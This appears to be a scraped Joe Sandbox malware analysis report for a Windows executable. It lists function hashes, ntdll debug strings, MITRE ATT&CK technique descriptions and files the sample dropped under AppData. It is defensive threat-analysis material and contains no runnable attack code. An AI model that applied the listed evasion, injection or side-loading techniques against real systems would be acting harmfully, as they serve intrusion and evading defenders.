Opcode ID: 09511f6a5b3cabbe784265c74914248b525a176bb6667c193042ebcc910e885d
Instruction ID: 79c08790c7c157ca4cef0b5725904aed98e1d3b0462c456b579e7aed8da14501
Opcode Fuzzy Hash: 09511f6a5b3cabbe784265c74914248b525a176bb6667c193042ebcc910e885d
Instruction Fuzzy Hash: D5E0ED33265714ABD2218B16D800F02BB69FF90BB0F208629E458175A18BA4F922CAD4

Function 359F37B6 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 151fa3eda0d68173f6b84e2a92513b46d7512e2f74e79334ea38076815889cea
Instruction ID: 60ee7758c345217b253ad8c0ac3a809334bb9f7b25afbd7188c5511375c89803
Opcode Fuzzy Hash: 151fa3eda0d68173f6b84e2a92513b46d7512e2f74e79334ea38076815889cea
Instruction Fuzzy Hash: 74E06DB2220200ABD754CB54CD01FA673ACFB04761F540258B516970E0DAB8BE40CB60

Function 359DB3D0 Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2862d5c95079e8f9bdfc17701203be164f113e2c7109adcb0461f4fb661a1a8a
Instruction ID: 223e2545bbbac2a83b0a262ceef8de9ea76412a31a15703eea6593dd9ddcb33c
Opcode Fuzzy Hash: 2862d5c95079e8f9bdfc17701203be164f113e2c7109adcb0461f4fb661a1a8a
Instruction Fuzzy Hash: B4E0CD31385214B7D7225A40CC01F65B766DB407D0F108031FE085A650CA75BD51DAD4

Function 359A92BC Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83fac42b7a24869f8f90648a53729e787fef309ebf89f02fc0631ade7ee57f23
Instruction ID: 003d163dfb06c5a918541f4f3147e99d174220fa85c9105f9cc79f10d64d0192
Opcode Fuzzy Hash: 83fac42b7a24869f8f90648a53729e787fef309ebf89f02fc0631ade7ee57f23
Instruction Fuzzy Hash: B0F03279251B80CBE21ACF08C1A1B1537BDFB49B00F800058C8468FBA1CB3AEA42CA40

Function 3591B562 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 513c018af8093926a425ffcf59a89caa6ba2b1d98b48f3b0c5e1abf4a0335a68
Instruction ID: 63aca6baa7dcd5845b3551ef7afd5731f4e1a0e97936ed58e7dc42e6876092fe
Opcode Fuzzy Hash: 513c018af8093926a425ffcf59a89caa6ba2b1d98b48f3b0c5e1abf4a0335a68
Instruction Fuzzy Hash: AAD05E32261660EFC7326F21EE05F827BB7AF84B11F450528B402264F186B5FE95C691

Function 359A930B Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73b68ca8792e09d39eb84bf204166a27678a7482029cab1375adc9e7cd32c121
Instruction ID: 33bfded1965874e6fcaa64bd450c115900a37747603d0304b50205e58903121e
Opcode Fuzzy Hash: 73b68ca8792e09d39eb84bf204166a27678a7482029cab1375adc9e7cd32c121
Instruction Fuzzy Hash: 53D0177A945AC48FE317CB04C161B407BF8F705F80F850098E0424BAA2C77C9984CB10

Function 359F35B6 Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcfb85a4c58582e884ff618cf81e7b206b1561464208c9731accca16da9c68f1
Instruction ID: 49a5022241d534537d70d4e1c46d213343029ef9896d5b9883185a3d708debaf
Opcode Fuzzy Hash: fcfb85a4c58582e884ff618cf81e7b206b1561464208c9731accca16da9c68f1
Instruction Fuzzy Hash: 81C012319960249BCF219A14C944A85B779BB443C0FA50090D00863560D638EE41CB90

Function 3594340D Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 228d46562787cc6ef91b6aff40b17c30ce715ed8b58bcfbb69b93c396a4a2043
Instruction ID: b99568b38ae9c17a793a42187fb00ae34eaa45a76af2eb5e0ebec8d1fff18701
Opcode Fuzzy Hash: 228d46562787cc6ef91b6aff40b17c30ce715ed8b58bcfbb69b93c396a4a2043
Instruction Fuzzy Hash: D5C080F41515406AE7078711C901F1C36547B087D5FD4115C6A41294A1C35C9C42C214

Function 35963090 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 64ae39bbf8d1a49d4815f250df90ad7e74f2c4aa380e9d0f35f6b2c7bd072de2
Instruction ID: 1e570bc51aa30e21ab30bbc74413e3713f2203a5d3ef71d5469664a64d9efd22
Opcode Fuzzy Hash: 64ae39bbf8d1a49d4815f250df90ad7e74f2c4aa380e9d0f35f6b2c7bd072de2
Instruction Fuzzy Hash: 5690022224190802D14471588418707001A8BD0601F95C0A3A0024514DC61A8A6966B1

Function 35963010 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 555ffbaf66a1256c322c9819ba37b1e1e0aa3267885a1bae0c9a25706af89c44
Instruction ID: d9a18f40d41362f5decf14c5eb9f674495f3f7f79acbb381c5dcd1dae632946f
Opcode Fuzzy Hash: 555ffbaf66a1256c322c9819ba37b1e1e0aa3267885a1bae0c9a25706af89c44
Instruction Fuzzy Hash: 50900222201D4442D14472584808B0F41194BE1202FD5C0ABA4156514CC91989595721

Function 35957630 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 35994655
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 35994742
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 359946FC
ExecuteOptions, xrefs: 359946A0
Execute=1, xrefs: 35994713
CLIENT(ntdll): Processing section info %ws..., xrefs: 35994787
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 35994725

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 8650418c3be3b16ee6fff1afab46b265e83c5e4c0547b2a57c3954186d638a01
Instruction ID: 48a8dfb1c6745de05ad1ad1ea1301e04373ed950a41f178d5b0c2537fb45640e
Opcode Fuzzy Hash: 8650418c3be3b16ee6fff1afab46b265e83c5e4c0547b2a57c3954186d638a01
Instruction Fuzzy Hash: 5C514775600319AAEB11DBA4EC85FED73BCBF083A4F040899E505A7181EB71AB59CF61

Function 3593D770 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 372
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 3598948C

Strings

SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 3598936B
RtlpFindActivationContextSection_CheckParameters, xrefs: 35989341, 35989366
GsHd, xrefs: 3593D874
RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section, xrefs: 35989565
Actx , xrefs: 35989508
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 35989346

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Actx $GsHd$RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.
API String ID: 3446177414-2196497285
Opcode ID: abcd8a9dce74a9066631957d6e81ada4fce015f7eeb0d62c4ba00d85a100fa0d
Instruction ID: 881861ef49533c9af5c3f350c09b29ce1d0e4e14b0bd2661d77e2ca5eb71538d
Opcode Fuzzy Hash: abcd8a9dce74a9066631957d6e81ada4fce015f7eeb0d62c4ba00d85a100fa0d
Instruction Fuzzy Hash: E8E1C474609302CFE710CF64C891B5AB7F9BF49398F454A2DE896CB281D771E948CB92

Function 3596B5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 3596B6BF

Strings

-, xrefs: 3596B650
0, xrefs: 3596B695
0, xrefs: 3596B66F
+, xrefs: 3596B65A

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction ID: 2d1833444b55c84c6288e2b79897e999f3fcfc1621efb7bcad0d449dbdd7b93a
Opcode Fuzzy Hash: 67cbaaaa089a52c9565608c335445b38513441175a6f8a80d34fd58ab3f25221
Instruction Fuzzy Hash: 25810578E093098EEF14CE64C8507EEBBBBBF45378F58411AD891A7681EB349848CB51

Function 35929126 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 199timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 35982559

Strings

@, xrefs: 35929175
$, xrefs: 35929191

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$@
API String ID: 3446177414-1194432280
Opcode ID: a2f81077e3d3833448af186d9a607d0c4b4fc4f6fdb6b2ebd44e979291b48ac1
Instruction ID: c0dab80f85195590ef75690e993b294bb5f71a05fa61a63636953d317d7eb477
Opcode Fuzzy Hash: a2f81077e3d3833448af186d9a607d0c4b4fc4f6fdb6b2ebd44e979291b48ac1
Instruction Fuzzy Hash: DE8118B5D042699FDB21CB54CD45BDEB7B8AF08750F0041EAE91AB7281E7709E85CFA0

Function 3595B4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 3599728C

Strings

RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 35997294
RTL: Re-Waiting, xrefs: 359972C1
RTL: Resource at %p, xrefs: 359972A3

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 347ecd733d69148f99bc5730e00df50da2799dcfca2369637776b015630e3b05
Instruction ID: 00756dbedafe11658aeaf9bee578c667748a6d7b47c2b3dfbf412c3945c1bd78
Opcode Fuzzy Hash: 347ecd733d69148f99bc5730e00df50da2799dcfca2369637776b015630e3b05
Instruction Fuzzy Hash: 3E41EF35704206ABE725CF24CC41F9AB7A6FF85760F100A19FD55AB240EB21F816CBE1

Function 3599F1D6 Relevance: 6.2, APIs: 4, Instructions: 150timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3599F26D
RtlDebugPrintTimes.NTDLL ref: 3599F292
RtlDebugPrintTimes.NTDLL ref: 3599F324
RtlDebugPrintTimes.NTDLL ref: 3599F378

Memory Dump Source

Source File: 00000004.00000002.2914801350.00000000358F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 358F0000, based on PE: true

Associated: 00000004.00000002.2914801350.0000000035A19000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A1D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000004.00000002.2914801350.0000000035A8E000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_358f0000_450707124374000811.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 8ecc3885bfe21602710cefdecdc7d7ced872827410af6af4fbcd3faef0539866
Instruction ID: 6aeb95f073b2135e3b3ce2eb9e3798c3735ca644fa319f0de4b81019f94f2510
Opcode Fuzzy Hash: 8ecc3885bfe21602710cefdecdc7d7ced872827410af6af4fbcd3faef0539866
Instruction Fuzzy Hash: E15122B5E042199FEF0ACF99E846ACCFBB5FF48394F14812AE805AB250D7389941CF50

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 450707124374000811.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nsqA869.tmp\System.dll

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Canton.Chr

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\Grundfladernes.Qua

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\img-1.jpg

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\nannie.tek

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\nonpendency.age

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\rimsmeds.txt

C:\Users\user\AppData\Roaming\pechay\transskribere\jon\skreddene.spo

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
450707124374000811.exe

Function 00403373 Relevance: 87.9, APIs: 33, Strings: 17, Instructions: 412
